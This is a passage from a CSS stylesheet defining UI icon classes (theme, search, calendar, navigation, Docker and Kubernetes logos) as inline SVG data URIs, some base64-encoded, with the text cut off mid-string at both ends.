l6,4.58V19z M10,1c0,1.66-1.34,3-3,3C6.45,4,6,4.45,6,5H4c0-1.66,1.34-3,3-3c0.55,0,1-0.45,1-1H10z'/%3E%3C/svg%3E\");\n}\n\n.icon-book {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg/%3E%3Cg%3E%3Cpath d='M21,5c-1.11-0.35-2.33-0.5-3.5-0.5c-1.95,0-4.05,0.4-5.5,1.5c-1.45-1.1-3.55-1.5-5.5-1.5S2.45,4.9,1,6v14.65 c0,0.25,0.25,0.5,0.5,0.5c0.1,0,0.15-0.05,0.25-0.05C3.1,20.45,5.05,20,6.5,20c1.95,0,4.05,0.4,5.5,1.5c1.35-0.85,3.8-1.5,5.5-1.5 c1.65,0,3.35,0.3,4.75,1.05c0.1,0.05,0.15,0.05,0.25,0.05c0.25,0,0.5-0.25,0.5-0.5V6C22.4,5.55,21.75,5.25,21,5z M3,18.5V7 c1.1-0.35,2.3-0.5,3.5-0.5c1.34,0,3.13,0.41,4.5,0.99v11.5C9.63,18.41,7.84,18,6.5,18C5.3,18,4.1,18.15,3,18.5z M21,18.5 c-1.1-0.35-2.3-0.5-3.5-0.5c-1.34,0-3.13,0.41-4.5,0.99V7.49c1.37-0.59,3.16-0.99,4.5-0.99c1.2,0,2.4,0.15,3.5,0.5V18.5z'/%3E%3Cpath d='M11,7.49C9.63,6.91,7.84,6.5,6.5,6.5C5.3,6.5,4.1,6.65,3,7v11.5C4.1,18.15,5.3,18,6.5,18 c1.34,0,3.13,0.41,4.5,0.99V7.49z' opacity='.3'/%3E%3C/g%3E%3Cg%3E%3Cpath d='M17.5,10.5c0.88,0,1.73,0.09,2.5,0.26V9.24C19.21,9.09,18.36,9,17.5,9c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,10.69,16.18,10.5,17.5,10.5z'/%3E%3Cpath d='M17.5,13.16c0.88,0,1.73,0.09,2.5,0.26V11.9c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,13.36,16.18,13.16,17.5,13.16z'/%3E%3Cpath d='M17.5,15.83c0.88,0,1.73,0.09,2.5,0.26v-1.52c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,16.02,16.18,15.83,17.5,15.83z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E\");\n}\n\n.icon-theme {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0z' fill='none'/%3E%3Cpath d='M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8zm-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12zm3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8zm5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8zm3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5z'/%3E%3C/svg%3E\");\n}\n\n.icon-brightness {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12 18 9.52zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5z' opacity='.3'/%3E%3Cpath d='M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12 18 14.48zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5z'/%3E%3C/svg%3E\");\n}\n\n.icon-light-mode {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Ccircle cx='12' cy='12' opacity='.3' r='3'/%3E%3Cpath d='M12,9c1.65,0,3,1.35,3,3s-1.35,3-3,3s-3-1.35-3-3S10.35,9,12,9 M12,7c-2.76,0-5,2.24-5,5s2.24,5,5,5s5-2.24,5-5 S14.76,7,12,7L12,7z M2,13l2,0c0.55,0,1-0.45,1-1s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S1.45,13,2,13z M20,13l2,0c0.55,0,1-0.45,1-1 s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S19.45,13,20,13z M11,2v2c0,0.55,0.45,1,1,1s1-0.45,1-1V2c0-0.55-0.45-1-1-1S11,1.45,11,2z M11,20v2c0,0.55,0.45,1,1,1s1-0.45,1-1v-2c0-0.55-0.45-1-1-1C11.45,19,11,19.45,11,20z M5.99,4.58c-0.39-0.39-1.03-0.39-1.41,0 c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0s0.39-1.03,0-1.41L5.99,4.58z M18.36,16.95 c-0.39-0.39-1.03-0.39-1.41,0c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41 L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41 s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06 c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L7.05,18.36z'/%3E%3C/svg%3E\");\n}\n\n.icon-dark-mode {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27 C17.45,17.19,14.93,19,12,19c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z' opacity='.3'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27C17.45,17.19,14.93,19,12,19 c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z M12,3c-4.97,0-9,4.03-9,9s4.03,9,9,9s9-4.03,9-9c0-0.46-0.04-0.92-0.1-1.36 c-0.98,1.37-2.58,2.26-4.4,2.26c-2.98,0-5.4-2.42-5.4-5.4c0-1.81,0.89-3.42,2.26-4.4C12.92,3.04,12.46,3,12,3L12,3z'/%3E%3C/svg%3E\");\n}\n\n.icon-night-mode {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg%3E%3Cpath d='M8.1,14.15C9.77,14.63,11,16.17,11,18c0,0.68-0.19,1.31-0.48,1.87c0.48,0.09,0.97,0.14,1.48,0.14 c1.48,0,2.9-0.41,4.13-1.15c-2.62-0.92-5.23-2.82-6.8-5.86C7.74,9.94,7.78,7.09,8.29,4.9c-2.57,1.33-4.3,4.01-4.3,7.1c0,0,0,0,0,0 c0.01,0,0.01,0,0.02,0C5.66,12,7.18,12.83,8.1,14.15z' opacity='.3'/%3E%3Cpath d='M19.78,17.51c-2.47,0-6.57-1.33-8.68-5.43C8.77,7.57,10.6,3.6,11.63,2.01C6.27,2.2,1.98,6.59,1.98,12 c0,0.14,0.02,0.28,0.02,0.42C2.61,12.16,3.28,12,3.98,12c0,0,0,0,0,0c0-3.09,1.73-5.77,4.3-7.1C7.78,7.09,7.74,9.94,9.32,13 c1.57,3.04,4.18,4.95,6.8,5.86c-1.23,0.74-2.65,1.15-4.13,1.15c-0.5,0-1-0.05-1.48-0.14c-0.37,0.7-0.94,1.27-1.64,1.64 c0.98,0.32,2.03,0.5,3.11,0.5c3.5,0,6.58-1.8,8.37-4.52C20.18,17.5,19.98,17.51,19.78,17.51z'/%3E%3Cpath d='M7,16l-0.18,0C6.4,14.84,5.3,14,4,14c-1.66,0-3,1.34-3,3s1.34,3,3,3c0.62,0,2.49,0,3,0c1.1,0,2-0.9,2-2 C9,16.9,8.1,16,7,16z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E\");\n}\n\n.icon-translate {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35zM17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94zm-1.62 7l1.62-4.33L19.12 17h-3.24z'/%3E%3C/svg%3E\");\n}\n\n.icon-search {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0 .41-.41.41-1.08 0-1.49L15.5 14zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z'/%3E%3C/svg%3E\");\n}\n\n.icon-select {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12 5.83L15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9 12 5.83zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15 12 18.17z'/%3E%3C/svg%3E\");\n}\n\n.icon-calendar {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Crect height='2' opacity='.3' width='14' x='5' y='6'/%3E%3Cpath d='M19,4h-1V2h-2v2H8V2H6v2H5C3.89,4,3.01,4.9,3.01,6L3,20c0,1.1,0.89,2,2,2h14c1.1,0,2-0.9,2-2V6C21,4.9,20.1,4,19,4z M19,20 H5V10h14V20z M19,8H5V6h14V8z M9,14H7v-2h2V14z M13,14h-2v-2h2V14z M17,14h-2v-2h2V14z M9,18H7v-2h2V18z M13,18h-2v-2h2V18z M17,18 h-2v-2h2V18z'/%3E%3C/g%3E%3C/svg%3E\");\n}\n\n.icon-next {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M24 24H0V0h24v24z' fill='none' opacity='.87'/%3E%3Cpath d='M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76z' fill='%23328ac1'/%3E%3C/svg%3E\");\n}\n\n.icon-prev {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cg%3E%3Cpath d='M16.88,2.88L16.88,2.88c-0.49-0.49-1.28-0.49-1.77,0l-8.41,8.41c-0.39,0.39-0.39,1.02,0,1.41l8.41,8.41 c0.49,0.49,1.28,0.49,1.77,0l0,0c0.49-0.49,0.49-1.28,0-1.77L9.54,12l7.35-7.35C17.37,4.16,17.37,3.37,16.88,2.88z' fill='%23328ac1'/%3E%3C/g%3E%3C/svg%3E\");\n}\n\n.icon-copyright {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91c.48.22 1.05.34 1.7.34.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z'/%3E%3C/svg%3E\");\n}\n\n/* -- add `.icon-colored` -- */\n.icon-love {\n background-image: url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23ff4d4d' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76l-.1.09z'/%3E%3C/svg%3E\");\n}\n\n.icons8-docker { \n display: inline-block;\n width: 24px;\n height: 24px;\n background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNjQiIGhlaWdodD0iNjQiIHZpZXdCb3g9IjAgMCA2NCA2NCI+CjxsaW5lYXJHcmFkaWVudCBpZD0icWt5blUyWThyT0h+YVpjOEkybHZkYV9HT0hXcXduU0U4U3ZfZ3IxIiB4MT0iMzIuMjUzIiB4Mj0iMzIuMjUzIiB5MT0iMTkiIHkyPSI1NSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzFhNmRmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2M4MjJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRhX0dPSFdxd25TRThTdl9ncjEpIiBkPSJNMjMuNjQ5LDU1Yy01LjU2OSwwLjAxNi0xMC41MDMtMS4wNTMtMTMuNTY5LTIuOTI2Yy0yLjc3Mi0xLjY4OS00Ljg5Ny00LjQyNi02LjMxMy04LjEzNCBjLTEuMjM0LTMuMzYyLTEuODA5LTYuNjQ4LTEuNzY0LTEwLjA1OGMtMC4wMDEtMC43NTksMC4yOTktMS40ODYsMC44NDYtMi4wMzNDMy4zOTYsMzEuMzAyLDQuMTIzLDMxLDQuODk2LDMxSDQzLjQ5IGMwLjIxMS0wLjAwOSwxLjQ5MS0wLjIxNSwyLjY2OS0wLjY2MWMtMC44OTctMS45MDItMS4wOTUtNC4wNDktMC41NjctNi4yNzRjMC4zMjYtMS4zNTgsMC44NzUtMi42MzksMS42MzItMy44MWwwLjU3My0wLjgyNiBjMC4yOTctMC40MjYsMC44NzItMC41NTUsMS4zMi0wLjI5NWwwLjg0MywwLjQ4NWMwLjM4NywwLjIyOCwzLjUxMywyLjE2OSw0LjUsNi4wMjFjMC41NTYtMC4wNjEsMS4xMTYtMC4wOTIsMS42NzQtMC4wOTUgYzMuMzg1LDAsNS4xMDEsMS4yMTksNS40MTEsMS40NjNjMCwwLDAsMCwwLDAuMDAxbDAuNTgsMC40NThjMC4zMzMsMC4yNjMsMC40NjMsMC43MDcsMC4zMjYsMS4xMDdsLTAuMjQsMC43MDIgYy0wLjQ1MSwxLjE0Mi0xLjEzMywyLjE1LTEuOTksMi45NjFjLTEuMTksMS4xNzYtMi42NDgsMi42MTQtNy4xMDMsMi43MzJjLTAuODk3LDIuMjcxLTIuOTE5LDYuNzI0LTYuMTk2LDEwLjQyNyBjLTEuOTA5LDIuMTU2LTQuMTQzLDMuOTgxLTYuNjQsNS40MjVjLTMuMDIyLDEuNzA4LTYuMjc5LDIuODg5LTkuNjg3LDMuNTEzQzI4LjEyMSw1NC43OTQsMjUuOTcyLDU1LDIzLjY0OSw1NXogTTQ4LjkxNiwyMS4zMjUgbC0wLjAzLDAuMDQ0Yy0wLjYxNiwwLjk1Mi0xLjA3NSwyLjAyNC0xLjM0NywzLjE1OWMtMC41MDEsMi4xMTQtMC4yMTIsNC4wNDUsMC44NTksNS43MzZjMC4xNDcsMC4yMzIsMC4xOTIsMC41MTYsMC4xMjUsMC43ODIgcy0wLjI0MywwLjQ5My0wLjQ4MywwLjYyN2MtMS42OTcsMC45NDMtNC4wMDksMS4zMDctNC41MTEsMS4zMjVMNC44OTYsMzNjLTAuMjM5LDAtMC40NjQsMC4wOTMtMC42MzMsMC4yNjMgYy0wLjE2OSwwLjE2OS0wLjI2MiwwLjM5NC0wLjI2MSwwLjYzM0MzLjk2LDM3LjExNCw0LjQ4LDQwLjA3OSw1LjY0LDQzLjIzOWMxLjI1LDMuMjcxLDMuMDk2LDUuNjc0LDUuNDgyLDcuMTI4IGMyLjc1OSwxLjY4Niw3LjM1OSwyLjYzOSwxMi41MjMsMi42MzNjMi4xOTksMCw0LjIzNi0wLjE5Niw2LjU4OC0wLjYzM2MzLjE5LTAuNTg0LDYuMjM3LTEuNjg4LDkuMDU3LTMuMjgyIGMyLjMwMy0xLjMzMSw0LjM3LTMuMDIsNi4xMzUtNS4wMTVjMy40OTctMy45NDksNS41MjctOC45OSw2LjA2Ni0xMC40NDFjMC4xNDYtMC4zOTMsMC40NzctMC42NiwwLjk0MS0wLjY1MSBjMC4wMzEsMCwwLjA2MiwwLDAuMDkzLDBjNC4xLDAsNS4xNi0xLjA0Niw2LjI4Mi0yLjE1NGMwLjY4Mi0wLjY0NiwxLjE5NS0xLjQwMywxLjUyMy0yLjIyN2wtMC4wMjUtMC4wMiBjLTAuMDYyLTAuMDQ4LTEuMzUxLTEuMDMyLTQuMTY3LTEuMDMyYy0wLjc2OCwwLjAwNC0xLjU0NSwwLjA3LTIuMzA3LDAuMTk5Yy0wLjI2NywwLjA0Mi0wLjUzOC0wLjAyLTAuNzU0LTAuMTc4IGMtMC4yMTgtMC4xNTgtMC4zNjItMC4zOTctMC40MDEtMC42NjRjLTAuNTMzLTMuNjQtMy41OTItNS40NzktMy43MjMtNS41NTVMNDguOTE2LDIxLjMyNXoiPjwvcGF0aD48bGluZWFyR3JhZGllbnQgaWQ9InFreW5VMlk4ck9IfmFaYzhJMmx2ZGJfR09IV3F3blNFOFN2X2dyMiIgeDE9IjI3Ljc3NyIgeDI9IjI3Ljc3NyIgeTE9IjkiIHkyPSI1MSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzZkYzdmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2U2YWJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRiX0dPSFdxd25TRThTdl9ncjIpIiBkPSJNMjMuNTM0LDUxYy00LjcyNiwwLTguOTcyLTAuODc0LTExLjM2Ny0yLjMzOWMtMi4wMDMtMS4yMjEtMy41NzEtMy4yODgtNC42NjQtNi4xNDcgYy0wLjkzLTIuNTM4LTEuNDE1LTQuOTYtMS40OTItNy41MTRsMzcuNTkxLTAuMDAyYzAuNzM2LTAuMDI3LDMuMzg2LTAuNDUyLDUuNDA5LTEuNTc2bDAuNTMzLTAuMjk2IGMtMC42MDIsMS41NzgtMi40ODksNi4wODYtNS42MTcsOS42MTljLTEuNjIzLDEuODMzLTMuNTIyLDMuMzg1LTUuNjQ2LDQuNjEyYy0yLjYwMSwxLjQ3MS01LjQzNywyLjQ5OS04LjQwNiwzLjA0MiBDMjcuNjM3LDUwLjgxNSwyNS43MTksNTEsMjMuNjQ5LDUxSDIzLjUzNHogTTEzLDI4di00YzAtMC41NTItMC40NDgtMS0xLTFIOGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMTIuNTUyLDI5LDEzLDI4LjU1MiwxMywyOHogTTIwLDI4di00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzE5LjU1MiwyOSwyMCwyOC41NTIsMjAsMjh6IE0yNywyOHYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEMyNi41NTIsMjksMjcsMjguNTUyLDI3LDI4eiBNMzQsMjh2LTRjMC0wLjU1Mi0wLjQ0OC0xLTEtMWgtNGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMzMuNTUyLDI5LDM0LDI4LjU1MiwzNCwyOHogTTIwLDIxdi00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzE5LjU1MiwyMiwyMCwyMS41NTIsMjAsMjF6IE0yNywyMXYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEMyNi41NTIsMjIsMjcsMjEuNTUyLDI3LDIxeiBNMzQsMjF2LTRjMC0wLjU1Mi0wLjQ0OC0xLTEtMWgtNGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMzMuNTUyLDIyLDM0LDIxLjU1MiwzNCwyMXogTTM0LDE0di00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzMzLjU1MiwxNSwzNCwxNC41NTIsMzQsMTR6IE00MSwyOHYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEM0MC41NTIsMjksNDEsMjguNTUyLDQxLDI4eiI+PC9wYXRoPgo8L3N2Zz4=') 50% 50% no-repeat;\n background-size: 100%; }\n\n .icons8-kubernetes { \n display: inline-block;\n width: 24px;\n height: 24px;\n background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgMCA0OCA0OCI+CjxwYXRoIGZpbGw9IiMwMjc3YmQiIGQ9Ik0yNS44NzUsMjQuMjA4YzAuMTAyLDAuMTMxLDAuMTQ1LDAuMzIsMC4xMTYsMC40OTVsLTAuMjc2LDEuMjA4CWMtMC4wMjksMC4xODktMC4xNiwwLjMzNS0wLjMxOSwwLjQyMmwtMS4xMTgsMC41MjRjLTAuMTYsMC4wODctMC4zNjMsMC4wODctMC41MjMsMGwtMS4xMTgtMC41MjQJYy0wLjE2LTAuMDg3LTAuMjktMC4yMzMtMC4zMTktMC40MjJsLTAuMjc2LTEuMjA4Yy0wLjAyOS0wLjE3NSwwLjAxNS0wLjM2NCwwLjExNi0wLjQ5NWwwLjc4NC0wLjk3NQlDMjMuMDQzLDIzLjA4NywyMy4yMTgsMjMsMjMuNDA2LDIzaDEuMjJjMC4xODksMCwwLjM2MywwLjA4NywwLjQ2NSwwLjIzM0wyNS44NzUsMjQuMjA4eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiMwMjc3YmQiIGQ9Ik0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyCWMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExCWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1CWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OAljMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCw